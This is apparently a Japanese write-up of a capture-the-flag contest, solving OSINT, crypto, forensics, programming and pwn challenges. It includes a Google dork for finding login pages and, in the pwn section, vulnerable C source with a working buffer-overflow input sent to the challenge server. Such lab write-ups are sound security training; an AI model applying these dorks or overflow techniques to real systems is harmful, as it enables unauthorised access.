フラグ
flag{Symphony_of_the_Seas}
Dorks
問題
攻略方法
Google Hackingの代表的な検索方法の一つでした。
login.php
はinurl:login.php
で調べることができるので、これがフラグでした。
フラグ
flag{inurl:login.php}
参考情報
filters_op
問題
攻略方法
@cas_nisc の過去のTweetを探し出せればよさそうです。
twitter @cas_nisc 2017/5/15
で、ググると以下のTweetが最初にヒットし、ハッシュタグがわかりました。
フラグ
flag{#WannaCrypt}
MAC
問題
攻略方法
タイトルのとおりですが、MACアドレスのベンダ名を示している可能性が高いです。例題で検証をしてみます。
00:03:93 = Apple
00:01:A9 = BMW
04:2A:E2 = Cisco
ベンダ名の先頭1文字でした。問題文に記載されたMACアドレスのベンダ名を特定します。
2C:C2:60 = Oracle
FC:EC:DA = Ubiquiti Networks Inc.
00:02:B3 = Intel Corporation
AC:44:F2 = YAMAHA CORPORATION
FC:4E:A4 = Apple, Inc.
特定したベンダの頭文字1文字を結合させるとフラグになりました。
フラグ
flag{O_U_I_Y_A}
Ropeway
問題
攻略方法
Googleの画像検索を利用すると、以下の通り浜名湖
がサジェストされました。
浜名湖 Ropeway
でさらに検索すると、以下の通りかんざんじロープウェイ
が見つかりました。あとは、問題文にあるとおりフラグ形式にすればOKです。
フラグ
flag{kanzanji}
Crypto
base64
問題
攻略方法
よくあるやつなので、ワンライナーで一発でデコードできました。
┌──(vagrant㉿kali)-[/vagrant/Crypo]
└─$ echo -n "ZmxhZ3tJdCdzX2NhbGxlZF9iYXNlNjQhfQ==" | base64 -d
flag{It's_called_base64!}
フラグ
flag{It's_called_base64!}
ROT13
問題
攻略方法
参考情報に記載のサイトを利用して、解読しました。
フラグ
flag{Even_you_Brutus?}
参考情報
pui_pui
問題
攻略環境
攻略方法
CyberChefで、From Hex
を選択しデコードしました。
フラグ
flag{Have_you_ever_heard_of_Hexdump?}
Frensics
paint_flag
問題
攻略環境
攻略方法
Wordファイルを対象にしたフォレンジックです。
┌──(vagrant㉿kali)-[/vagrant/Forensics/paint_flag]
└─$ file paint_flag.docx
paint_flag.docx: Microsoft Word 2007+
まずは、中身を見てみます。
┌──(vagrant㉿kali)-[/vagrant/Forensics/paint_flag]
└─$ binwalk paint_flag.docx
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 Zip archive data, at least v2.0 to extract, compressed size: 344, uncompressed size: 663, name: docProps/app.xml
410 0x19A Zip archive data, at least v2.0 to extract, compressed size: 342, uncompressed size: 675, name: docProps/core.xml
852 0x354 Zip archive data, at least v2.0 to extract, compressed size: 1433, uncompressed size: 5780, name: word/document.xml
2332 0x91C Zip archive data, at least v2.0 to extract, compressed size: 573, uncompressed size: 1933, name: word/fontTable.xml
2953 0xB89 Zip archive data, at least v2.0 to extract, compressed size: 215965, uncompressed size: 216319, name: word/media/flag.png
218967 0x35757 Zip archive data, at least v2.0 to extract, compressed size: 247808, uncompressed size: 247926, name: word/media/image1.png
466826 0x71F8A Zip archive data, at least v2.0 to extract, compressed size: 1087, uncompressed size: 3153, name: word/settings.xml
467960 0x723F8 Zip archive data, at least v2.0 to extract, compressed size: 2772, uncompressed size: 29484, name: word/styles.xml
470777 0x72EF9 Zip archive data, at least v2.0 to extract, compressed size: 1688, uncompressed size: 8407, name: word/theme/theme1.xml
472516 0x735C4 Zip archive data, at least v2.0 to extract, compressed size: 328, uncompressed size: 894, name: word/webSettings.xml
472894 0x7373E Zip archive data, at least v2.0 to extract, compressed size: 256, uncompressed size: 949, name: word/_rels/document.xml.rels
473208 0x73878 Zip archive data, at least v2.0 to extract, compressed size: 346, uncompressed size: 1362, name: [Content_Types].xml
473603 0x73A03 Zip archive data, at least v2.0 to extract, compressed size: 233, uncompressed size: 590, name: _rels/.rels
474714 0x73E5A End of Zip archive, footer length: 22
flag.png
と、それらしいファイルを見つけましたので、解凍します。
┌──(vagrant㉿kali)-[/vagrant/Forensics/paint_flag]
└─$ unzip paint_flag.docx
flag.png
を開くと以下の通りフラグが書かれてました。
フラグ
flag{What_m4tters_is_inside;)}
問題
攻略方法
Imapのダンプデータからフォレンジックをする問題のようです。
┌──(vagrant㉿kali)-[/vagrant/Forensics/Mail]
└─$ file ImapMail/mail.setodanote.net/*
ImapMail/mail.setodanote.net/Archives.msf: Mozilla Mork database, version 1.4
ImapMail/mail.setodanote.net/Drafts.msf: Mozilla Mork database, version 1.4
ImapMail/mail.setodanote.net/filterlog.html: HTML document, ASCII text
ImapMail/mail.setodanote.net/INBOX: UTF-8 Unicode text, with CRLF line terminators
ImapMail/mail.setodanote.net/INBOX.msf: Mozilla Mork database, version 1.4
ImapMail/mail.setodanote.net/Junk.msf: Mozilla Mork database, version 1.4
ImapMail/mail.setodanote.net/msgFilterRules.dat: empty
ImapMail/mail.setodanote.net/Sent-1: UTF-8 Unicode text, with CRLF line terminators
ImapMail/mail.setodanote.net/Sent-1.msf: Mozilla Mork database, version 1.4
ImapMail/mail.setodanote.net/Sent.msf: Mozilla Mork database, version 1.4
ImapMail/mail.setodanote.net/Templates.msf: Mozilla Mork database, version 1.4
ImapMail/mail.setodanote.net/Trash.msf: Mozilla Mork database, version 1.4
個人のクラウドサービスへのバックアップのコピーを送信していたようなので、送信メールに着目して確認をします。
┌──(vagrant㉿kali)-[/vagrant/Forensics/Mail/ImapMail/mail.setodanote.net]
└─$ cat -n Sent-1 | more
<snip>
103 Content-Type: application/x-zip-compressed;
104 name="kimitsu.zip"
105 Content-Transfer-Encoding: base64
106 Content-Disposition: attachment;
108
107 filename="kimitsu.zip"
109 UEsDBBQAAAAIAEKk8lIYGu97DhgHAG8YBwALAAAAZ29vZGpvYi5wbmdUumN3JUy0Rrtj27Zt
110 d2zbtp2OOrZt29xJdtSxbXfccdKxk/ueM8Yd99wPNVat9QNmzXqqolWUpJHg8eEBAACSrIyE
<snip>
送信メールを確認していたところ、怪しい添付ファイルが送信されているところを見つけました。このファイルを復元できれば良さそうです。
vi等でbase64エンコーディングされた箇所のみを取りだして、デコードします。
┌──(vagrant㉿kali)-[/vagrant/Forensics/Mail/ImapMail]
└─$ cat Sent-1| tr -d "\r\n" > encode_base64.txt
┌──(vagrant㉿kali)-[/vagrant/Forensics/Mail/ImapMail]
└─$ cat encode_base64.txt| base64 -d > kimitsu.zip
┌──(vagrant㉿kali)-[/vagrant/Forensics/Mail/ImapMail]
└─$ zipinfo kimitsu.zip
Archive: kimitsu.zip
Zip file size: 465030 bytes, number of entries: 1
-rw-a-- 2.0 fat 465007 b- defN 21-Jul-18 20:34 goodjob.png
1 file, 465007 bytes uncompressed, 464910 bytes compressed: 0.0%
┌──(vagrant㉿kali)-[/vagrant/Forensics/Mail/ImapMail]
└─$ unzip kimitsu.zip
Archive: kimitsu.zip
inflating: goodjob.png
goodjob.png
を開くと以下の通りフラグが書いてありました。
フラグ
flag{You've_clearly_done_a_good_job_there!!}
Deletefile
問題
攻略環境
攻略方法
拡張子から推測できましたが、Raw Image Fileからのフォレンジックです。
┌──(vagrant㉿kali)-[/vagrant/Forensics/Deletedfile]
└─$ file deletedfile.raw
deletedfile.raw: DOS/MBR boot sector MS-MBR Windows 7 english at offset 0x163 "Invalid partition table" at offset 0x17b "Error loading operating system" at offset 0x19a "Missing operating system"; partition 1 : ID=0xee, start-CHS (0x0,0,2), end-CHS (0x0,254,63), startsector 1, 4294967295 sectors
まずは、binwalk
でファイルが存在するか見てみます。
┌──(vagrant㉿kali)-[/vagrant/Forensics/Deletedfile]
└─$ binwalk deletedfile.raw
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
104448 0x19800 JPEG image data, JFIF standard 1.01
163840 0x28000 JPEG image data, JFIF standard 1.01
JPEGファイルが見つかりました。取り出してみます。
┌──(vagrant㉿kali)-[/vagrant/Forensics/Deletedfile]
└─$ binwalk -D='.*' deletedfile.raw
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
104448 0x19800 JPEG image data, JFIF standard 1.01
163840 0x28000 JPEG image data, JFIF standard 1.01
┌──(vagrant㉿kali)-[/vagrant/Forensics/Deletedfile]
└─$ tree _deletedfile.raw.extracted
_deletedfile.raw.extracted
├── 19800
└── 28000
0 directories, 2 files
┌──(vagrant㉿kali)-[/vagrant/Forensics/Deletedfile]
└─$ file _deletedfile.raw.extracted/*
_deletedfile.raw.extracted/19800: JPEG image data, JFIF standard 1.01, resolution (DPI), density 150x150, segment length 16, baseline, precision 8, 960x540, components 3
_deletedfile.raw.extracted/28000: JPEG image data, JFIF standard 1.01, resolution (DPI), density 150x150, segment length 16, baseline, precision 8, 1996x1125, components 3
19800
を開いたら以下の通りフラグが得られました。(マウントしなくてもフラグが得られました。)
フラグ
flag{nosce_te_ipsum}
Timeline
問題
攻略方法
Windows10のActivitiesCache.dbからのフォレンジックです。
┌──(vagrant㉿kali)-[/vagrant/Forensics/Timeline]
└─$ find C -type f | xargs file
C/Users/stella/AppData/Local/ConnectedDevicesPlatform/L.stella/ActivitiesCache.db-shm: data
C/Users/stella/AppData/Local/ConnectedDevicesPlatform/L.stella/ActivitiesCache.db-wal: SQLite Write-Ahead Log, version 3007000
C/Users/stella/AppData/Local/ConnectedDevicesPlatform/L.stella/ActivitiesCache.db: SQLite 3.x database, user version 27, last written using SQLite version 3025003
以下のプラグインでタイムラインの生成を試みるものの、うまく生成できなかったため、直接データをダンプすることにしました。
まずは、検索しやすいようにCSVファイルにダンプします。
┌──(vagrant㉿kali)-[/vagrant/…/AppData/Local/ConnectedDevicesPlatform/L.stella]
└─$ sqlite3 ./ActivitiesCache.db
SQLite version 3.34.1 2021-01-20 14:10:07
Enter ".help" for usage hints.
sqlite> .headers on
sqlite> .mode csv
sqlite> .output Activity.csv
sqlite> SELECT * FROM Activity;
sqlite> .quit
ダンプしたCSVファイルを眺めていると、怪しいファイル名があることに気づきました。
┌──(vagrant㉿kali)-[/vagrant/…/AppData/Local/ConnectedDevicesPlatform/L.stella]
└─$ cat Activity.csv | strings | grep -i "E:/Appdata/.*txt"
"",""description"":""E:\\AppData\\OKdammyFlag.txt"",""backgroundColor"":""black"",""contentUri"":""file:///E:/AppData/OKdammyFlag.txt?VolumeId={F1E2DA70-1756-446E-A36F-CEA1E4160CD5}&ObjectId={C60D8292-E365-11EB-8472-000C2951BB7B}""}",1,0,aLw/wWoO50jZbGWEEPEgyLaJzMQaJaqH/drcZ+JIehc=,,0,1626131346,0,1626131346,"",,"",,0,0,,"",121
"",""description"":""E:\\AppData\\f.txt"",""backgroundColor"":""black"",""contentUri"":""file:///E:/AppData/f.txt?VolumeId={F1E2DA70-1756-446E-A36F-CEA1E4160CD5}&ObjectId={C60D82EF-E365-11EB-8472-000C2951BB7B}""}",1,0,aLw/wWoO50jZbGWEEPEgyLaJzMQaJaqH/drcZ+JIehc=,,0,1626131476,0,1626131476,"",,"",,0,0,,"",160
"",""description"":""E:\\AppData\\l.txt"",""backgroundColor"":""black"",""contentUri"":""file:///E:/AppData/l.txt?VolumeId={F1E2DA70-1756-446E-A36F-CEA1E4160CD5}&ObjectId={82975565-E30C-11EB-8554-000C2966FBB5}""}",1,0,aLw/wWoO50jZbGWEEPEgyLaJzMQaJaqH/drcZ+JIehc=,,0,1626131495,0,1626131495,"",,"",,0,0,,"",168
"",""description"":""E:\\AppData\\a.txt"",""backgroundColor"":""black"",""contentUri"":""file:///E:/AppData/a.txt?VolumeId={F1E2DA70-1756-446E-A36F-CEA1E4160CD5}&ObjectId={82975566-E30C-11EB-8554-000C2966FBB5}""}",1,0,aLw/wWoO50jZbGWEEPEgyLaJzMQaJaqH/drcZ+JIehc=,,0,1626131518,0,1626131518,"",,"",,0,0,,"",184
"",""description"":""E:\\AppData\\g.txt"",""backgroundColor"":""black"",""contentUri"":""file:///E:/AppData/g.txt?VolumeId={F1E2DA70-1756-446E-A36F-CEA1E4160CD5}&ObjectId={82975567-E30C-11EB-8554-000C2966FBB5}""}",1,0,aLw/wWoO50jZbGWEEPEgyLaJzMQaJaqH/drcZ+JIehc=,,0,1626131533,0,1626131533,"",,"",,0,0,,"",193
"",""description"":""E:\\AppData\\{.txt"",""backgroundColor"":""black"",""contentUri"":""file:///E:/AppData/%7B.txt?VolumeId={F1E2DA70-1756-446E-A36F-CEA1E4160CD5}&ObjectId={82975569-E30C-11EB-8554-000C2966FBB5}""}",1,0,aLw/wWoO50jZbGWEEPEgyLaJzMQaJaqH/drcZ+JIehc=,,0,1626131544,0,1626131544,"",,"",,0,0,,"",203
ファイル名の遷移を見るとf
-> l
-> a
-> g
-> %7({)
となり、flagとなりそうなことがわかりました。
ただ、この時点でダンプしたときにソートをしていなかったことに気づいたため、以下の通りソートを実施しました。
┌──(vagrant㉿kali)-[/vagrant/…/AppData/Local/ConnectedDevicesPlatform/L.stella]
└─$ sqlite3 ActivitiesCache.db
SQLite version 3.34.1 2021-01-20 14:10:07
Enter ".help" for usage hints.
sqlite> .headeres on
Error: unknown command or invalid arguments: "headeres". Enter ".help" for help
sqlite> .headers on
sqlite> .mode csv
sqlite> .output Activity_sorted.csv
sqlite> select Payload from Activity ORDER by LastModifiedTime ASC;
sqlite> .quit
ソートしたデートに対して以下のスクリプトを実行して、ファイル名を抽出します。
# !/usr/bin/env python3
# -*- coding: utf-8 -*-
with open("./Activity_sorted.csv") as f:
for line in f:
if 'AppData' in line:
print(line.strip().split('AppData\\\\')[1][:10])
抽出したファイル名の1文字目を結合すると、フラグになりました。
┌──(vagrant㉿kali)-[/vagrant/…/AppData/Local/ConnectedDevicesPlatform/L.stella]
└─$ ./solver.py
OKdammyFla
Heart.bmp"
f.txt"",""
l.txt"",""
a.txt"",""
g.txt"",""
{.txt"",""
T.txt"",""
h.txt"",""
3.txt"",""
_.txt"",""
local\\F.t
u.txt"",""
7.txt"",""
local\\U.t
r.txt"",""
e.txt"",""
local\\_.t
1.txt"",""
s.txt"",""
temp\\_.tx
N.txt"",""
0.txt"",""
w.txt"",""
}.txt"",""
lookllookd
NiceTry.tx
Heart.tif"
フラグ
flag{Th3_Fu7Ure_1s_N0w}
browser_db
問題
攻略環境
攻略方法
SQLiteのDBファイルからのフォレンジックです。
┌──(vagrant㉿kali)-[/vagrant/Forensics/browser_db]
└─$ file stella_9s84jetw.default-release_places.sqlite
stella_9s84jetw.default-release_places.sqlite: SQLite 3.x database, user version 54, last written using SQLite version 3035004
実態がわからないので、テーブルを見てみます。
┌──(vagrant㉿kali)-[/vagrant/Forensics/browser_db]
└─$ sqlite3 ./stella_9s84jetw.default-release_places.sqlite
SQLite version 3.34.1 2021-01-20 14:10:07
Enter ".help" for usage hints.
sqlite> .tables
moz_anno_attributes moz_historyvisits moz_meta
moz_annos moz_inputhistory moz_origins
moz_bookmarks moz_items_annos moz_places
moz_bookmarks_deleted moz_keywords
テーブル名からFirefox
であることがわかりました。plaso(log2timeline)
でタイムラインを作成します。
┌──(vagrant㉿kali)-[/vagrant/Forensics/browser_db]
└─$ psteal.py --parsers "sqlite/firefox_history" -o dynamic -w firefox-history-timeline.csv --source ./stella_9s84jetw.default-release_places.sqlite
95件抽出ができました。
┌──(vagrant㉿kali)-[/vagrant/Forensics/browser_db]
└─$ wc -l firefox-history-timeline.csv
95 firefox-history-timeline.csv
grepするとflagが見つかりました。
┌──(vagrant㉿kali)-[/vagrant/Forensics/browser_db]
└─$ cat firefox-history-timeline.csv| grep flag
2021-07-18T18:44:16.437000+00:00,Last Visited Time,WEBHIST,Firefox History,https://duckduckgo.com/?q=flag%7Bgoosegoosego%7D&t=ffab (flag{goosegoosego} at DuckDuckGo) [count: 1] Host: duckduckgo.com visited from: https://duckduckgo.com/?t=ffab&q=duckduck&ia=web (duckduckgo.com) (URL not typed directly) Transition: LINK,sqlite/firefox_history,-,-
2021-07-18T18:44:18.441000+00:00,Last Visited Time,WEBHIST,Firefox History,https://duckduckgo.com/?q=flag%7Bgoosegoosego%7D&t=ffab&ia=images (flag{goosegoosego} at DuckDuckGo) [count: 1] Host: duckduckgo.com visited from: https://duckduckgo.com/?q=flag%7Bgoosegoosego%7D&t=ffab (duckduckgo.com) (URL not typed directly) Transition: LINK,sqlite/firefox_history,-,-
2021-07-18T19:03:56.437000+00:00,Last Visited Time,WEBHIST,Firefox History,https://steep-breeze-89f4.setodanote.workers.dev/#flag?? [count: 1] Host: steep-breeze-89f4.setodanote.workers.dev (URL not typed directly) Transition: TYPED,sqlite/firefox_history,-,-
フラグ
flag{goosegoosego}
CSIRT_asky_you_01
問題
攻略環境
攻略方法
Windowsイベントログを調査する問題です。
┌──(vagrant㉿kali)-[/vagrant/Forensics/CSIRT_asks_you_01]
└─$ file Security.evtx
Security.evtx: MS Windows Vista Event Log, 145 chunks (no. 144 in use), next record no. 13877
grepしやすいように、ダンプします。
# !/usr/bin/env python3
# -*- coding: utf-8 -*-
import sys
import Evtx.Evtx as evtx
from tqdm import tqdm
with evtx.Evtx("./Security.evtx") as f, open('event.xml', 'w') as w_f:
for record in tqdm(f.records()):
w_f.write(record.xml().replace('\n','').strip())
w_f.write('\n')
以下の通り、13,876件のイベントがありました。
┌──(vagrant㉿kali)-[/vagrant/Forensics/CSIRT_asks_you_01]
└─$ ./solver.py
┌──(vagrant㉿kali)-[/vagrant/Forensics/CSIRT_asks_you_01]
└─$ wc -l event.xml
13876 event.xml
ログオン成功のイベントIDは4624
なので、以下のとおりgrepします。
┌──(vagrant㉿kali)-[/vagrant/Forensics/CSIRT_asks_you_01]
└─$ grep '4624</EventID>' event.xml | wc -l
699
もう少し絞り込みが必要そうです。以下のヒントがあるのでネットワーク経由のログインに着目してみます。
ネットワーク経由のログインが成功したことを示している
ログイン元のIPアドレスが記録されるため、以下の通りログインに成功したIPアドレスを抽出すると3件のアドレスが抽出できました。
┌──(vagrant㉿kali)-[/vagrant/Forensics/CSIRT_asks_you_01]
└─$ grep '4624</EventID>' event.xml | awk -F'IpAddress">' '{print $2}' | awk -F'</Data>' '{print $1}' | sort | uniq -c
663 -
3 10.1.2.105
32 127.0.0.1
1 192.168.224.120
各端末から、どのようなイベントが発生しているのか確認をします。10.1.2.105
から見てみます。
┌──(vagrant㉿kali)-[/vagrant/Forensics/CSIRT_asks_you_01]
└─$ grep '"IpAddress">10.1.2.105</Data>' event.xml | awk -F'<EventID Qualifiers="">' '{print $2}' | awk -F'</EventID>' '{print $1}'
4624
4624
4648
4624
特に問題となるようなイベントはありませんでした。次に、192.168.224.120
を確認します。
┌──(vagrant㉿kali)-[/vagrant/Forensics/CSIRT_asks_you_01]
└─$ grep '"IpAddress">192.168.224.120</Data>' event.xml | awk -F'<EventID Qualifiers="">' '{print $2}' | awk -F'</EventID>' '{print $1}' | sort | uniq -c
1 4624
3881 4625
大量のログオン失敗ログが確認できました。ブルートフォースアタック等で不正にログインされたのだと思います。ログイン成功時のログを確認し、タイムスタンプを確認してフラグ形式にします。
┌──(vagrant㉿kali)-[/vagrant/Forensics/CSIRT_asks_you_01]
└─$ grep '4624</EventID>' event.xml | grep '192.168.224.120' | xmllint --format -
<?xml version="1.0"?>
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}"/>
<EventID Qualifiers="">4624</EventID>
<Version>2</Version>
<Level>0</Level>
<Task>12544</Task>
<Opcode>0</Opcode>
<Keywords>0x8020000000000000</Keywords>
<TimeCreated SystemTime="2021-07-18 20:09:21.904846"/>
<EventRecordID>11874</EventRecordID>
<Correlation ActivityID="{38c95613-7bec-0001-4956-c938ec7bd701}" RelatedActivityID=""/>
<Execution ProcessID="604" ThreadID="4852"/>
<Channel>Security</Channel>
<Computer>stella-pc</Computer>
<Security UserID=""/>
</System>
<EventData>
<Data Name="SubjectUserSid">S-1-0-0</Data>
<Data Name="SubjectUserName">-</Data>
<Data Name="SubjectDomainName">-</Data>
<Data Name="SubjectLogonId">0x0000000000000000</Data>
<Data Name="TargetUserSid">S-1-5-21-3590118637-3649102893-3870174881-1002</Data>
<Data Name="TargetUserName">test</Data>
<Data Name="TargetDomainName">STELLA-PC</Data>
<Data Name="TargetLogonId">0x000000000076ba89</Data>
<Data Name="LogonType">3</Data>
<Data Name="LogonProcessName">NtLmSsp </Data>
<Data Name="AuthenticationPackageName">NTLM</Data>
<Data Name="WorkstationName">lizardface</Data>
<Data Name="LogonGuid">{00000000-0000-0000-0000-000000000000}</Data>
<Data Name="TransmittedServices">-</Data>
<Data Name="LmPackageName">NTLM V2</Data>
<Data Name="KeyLength">128</Data>
<Data Name="ProcessId">0x0000000000000000</Data>
<Data Name="ProcessName">-</Data>
<Data Name="IpAddress">192.168.224.120</Data>
<Data Name="IpPort">0</Data>
<Data Name="ImpersonationLevel">%%1833</Data>
<Data Name="RestrictedAdminMode">-</Data>
<Data Name="TargetOutboundUserName">-</Data>
<Data Name="TargetOutboundDomainName">-</Data>
<Data Name="VirtualAccount">%%1843</Data>
<Data Name="TargetLinkedLogonId">0x0000000000000000</Data>
<Data Name="ElevatedToken">%%1843</Data>
</EventData>
</Event>
フラグ
flag{2021/07/18_20:09:21_4624}
参考情報
Programing
ZZZIPPP
問題
攻略方法
問題文の通りzipファイルが入れ子になっているようです。
┌──(vagrant㉿kali)-[/vagrant/Programing/ZZZIPPP]
└─$ zipinfo flag1000.zip
Archive: flag1000.zip
Zip file size: 171803 bytes, number of entries: 1
-rw-r--r-- 3.0 unx 171631 bx stor 21-Aug-01 06:00 flag999.zip
1 file, 171631 bytes uncompressed, 171631 bytes compressed: 0.0%
以下のスクリプトを書いてフラグを取得しました。
# !/usr/bin/env python3
# -*- coding: utf-8 -*-
from tqdm import tqdm
import zipfile
dir = "./extract/"
for i in tqdm(reversed([i for i in range(1,1000 + 1)])):
with zipfile.ZipFile(f'{dir}flag{i}.zip') as f:
f.extractall(dir)
┌──(vagrant㉿kali)-[/vagrant/Programing/ZZZIPPP]
└─$ ./solver.py
1000it [00:07, 126.17it/s]
┌──(vagrant㉿kali)-[/vagrant/Programing/ZZZIPPP]
└─$ cat extract/flag.txt
flag{loop-zip-1989-zip-loop}
フラグ
┌──(vagrant㉿kali)-[/vagrant/Programing/ZZZIPPP]
└─$ cat extract/flag.txt
flag{loop-zip-1989-zip-loop}
echo_me
問題
攻略方法
アクセスをして確認してい見ます。
user@b6e47d7eb2cf:~$ nc 10.1.1.10 12020
==========
echo me: 30897486
==========
30897486
Correct!
==========
echo me: 70505204
==========
70505204
Correct!
==========
echo me: 97784017
==========
97784017
Correct!
==========
echo me: 63349654
==========
出力された数値を入力すれば良さそうです。以下のプログラムを書いて、フラグを取得しました。
# !/usr/bin/env python3
# -*- coding: utf-8 -*-
import socket
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('10.1.1.10', 12020))
while True:
s = client.recv(1024)
print(s)
if 'flag' in str(s):
break
for line in str(s).split('¥n'):
if 'echo' in line:
n = line.split(':')[1].strip().split('\\')[0]
n += '\n'
client.send(bytes(n, 'ascii'))
user@b6e47d7eb2cf:~$ ./solver.py
<snip>
b'Correct!\n\nflag{Hellow_yamabiko_Yoo-hoo!}\n'
user@b6e47d7eb2cf:~$
フラグ
flag{Hellow_yamabiko_Yoo-hoo!}
EZZZIPP
問題
攻略方法
先ほどと同様ですが、今度はパスワード付きみたいです。
┌──(vagrant㉿kali)-[/vagrant/Programing/EZZZIPPP]
└─$ ls -ltr
total 760
-rw-r--r-- 1 vagrant vagrant 11 Aug 1 22:27 pass.txt
-rw-r--r-- 1 vagrant vagrant 382628 Aug 1 22:27 flag1000.zip
pass.txt
を読み込んで、解答するようにプログラミングしました。
# !/usr/bin/env python3
# -*- coding: utf-8 -*-
from tqdm import tqdm
import zipfile
dir = "./extract/"
for i in tqdm(reversed([i for i in range(1,1000 + 1)])):
with open(f'{dir}pass.txt') as f:
password = f.read().strip()
with zipfile.ZipFile(f'{dir}flag{i}.zip') as f:
f.extractall(dir, pwd=bytes(password, 'ascii'))
時間はかかりましたが、フラグを取得できました。
┌──(vagrant㉿kali)-[/vagrant/Programing/EZZZIPPP]
└─$ time ./solver.py
1000it [04:17, 3.89it/s]
┌──(vagrant㉿kali)-[/vagrant/Programing/EZZZIPPP]
└─$ cat extract/flag.txt
flag{bdf574f15645df736df13daef06128b8}
フラグ
flag{bdf574f15645df736df13daef06128b8}
deep_thought
問題
攻略方法
echo_me
と似ていますが、今度は計算問題のようです。
user@b6e47d7eb2cf:~$ nc 10.1.1.10 12010
[ Q1 ]
3 + 4
7
Correct!
[ Q2 ]
4 - 2
2
Correct!
[ Q3 ]
9 + 4
おそらく四則演算だけだと思うのですが、判定が面倒なのでeval()
を使ってプログラミングします。
# !/usr/bin/env python3
# -*- coding: utf-8 -*-
import socket
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('10.1.1.10', 12010))
while True:
s = client.recv(1024)
print(s)
if 'flag' in str(s):
break
for line in str(s).split('\\n'):
for l in line.split("b'"):
if not l.strip():
continue
print('l: ', l)
if '+' in line or '-' in line or '*' in line or '/' in line:
n = str(l).strip().split('\\')[0]
a = str(eval(n))
a += '\n'
client.send(bytes(a, 'ascii'))
つくったPythonスクリプトを実行して、フラグを取得できました。
user@b6e47d7eb2cf:~$ ./solver.py
<snip>
b'Correct!\n\nflag{__42__}\n'
user@b6e47d7eb2cf:~$
フラグ
flag{__42__}
Pwn
tkys_let_die
問題
攻略方法
添付ファイルを解答すると、実行ファイルとソースコードがありました。
┌──(vagrant㉿kali)-[/vagrant/Pwn/tkys_let_die]
└─$ file gate*
gate: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e9d7ef71659ad8874194e92264ffdadac305c962, for GNU/Linux 3.2.0, not stripped
gate.c: C source, ASCII text, with CRLF line terminators
ソースコードを確認します。
# include <stdio.h>
# include <string.h>
# include <stdlib.h>
void printFlag(void) {
system("/bin/cat ./flag");
}
int main(void) {
char gate[6]="close";
char name[16]="..";
printf("\n");
printf(" {} {}\n");
printf(" ! ! ! II II ! ! !\n");
printf(" ! I__I__I_II II_I__I__I !\n");
printf(" I_/|__|__|_|| ||_|__|__|\\_I\n");
printf(" ! /|_/| | | || || | | |\\_|\\ !\n");
printf(" .--. I//| | | | || || | | | |\\\\I .--.\n");
printf(" /- \\ ! /|/ | | | | || || | | | | \\|\\ ! /= \\\n");
printf(" \\=__ / I//| | | | | || || | | | | |\\\\I \\-__ /\n");
printf(" } { ! /|/ | | | | | || || | | | | | \\|\\ ! } {\n");
printf(" {____} I//| | | | | | || || | | | | | |\\\\I {____}\n");
printf(" _!__!__|= |=/|/ | | | | | | || || | | | | | | \\|\\=| |__!__!_\n");
printf(" _I__I__| ||/|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|\\||- |__I__I_\n");
printf(" -|--|--|- ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||= |--|--|-\n");
printf(" | | | || | | | | | | | || || | | | | | | | || | | |\n");
printf(" | | |= || | | | | | | | || || | | | | | | | ||= | | |\n");
printf(" | | |- || | | | | | | | || || | | | | | | | ||= | | |\n");
printf(" | | |- || | | | | | | | || || | | | | | | | ||- | | |\n");
printf(" _|__|__| ||_|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|_|| |__|__|_\n");
printf(" -|--|--|= ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||- |--|--|-\n");
printf(" | | |- || | | | | | | | || || | | | | | | | ||= | | |\n");
printf(" ~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~\n");
printf("\n");
printf("You'll need permission to pass. What's your name?\n> ");
scanf("%32[^\n]", name);
if (strcmp(gate,"open")==0) {
printFlag();
}else{
printf("Gate is %s.\n", gate);
printf("Goodbay %s.\n", name);
}
return 0;
}
gate
変数をclose
からopen
に変更できればよさそう。
┌──(vagrant㉿kali)-[/vagrant/Pwn/tkys_let_die]
└─$ python -c "print('A' * 8)" | ./gate
<snip>
You'll need permission to pass. What's your name?
> Gate is close.
Goodbay AAAAAAAA.
短い入力の場合は、上記の通りそのまま値が出力されてましたが、27文字入力した時点で出力が変わり、バッファオーバーフローが成立しました。
┌──(vagrant㉿kali)-[/vagrant/Pwn/tkys_let_die]
└─$ python -c "print('A' * 27)" | ./gate
<snip>
You'll need permission to pass. What's your name?
> Gate is A.
Goodbay AAAAAAAAAAAAAAAAAAAAAAAAAAA.
26文字目まで適当に埋めて、そこからopen
を入力するとフラグが取得できました。
user@6d3ed48b7aef:~$ python -c "print('A'*26 + 'open')" | nc 10.1.1.10 13020
<snip>
You'll need permission to pass. What's your name?
>
=============================
GREAT! GATE IS OPEN!!
>> Flag is flag{Alohomora} <<
*-*-*-*-*-*-*-*-*-*-*-*
=============================
user@6d3ed48b7aef:~$
フラグ
flag{Alohomora}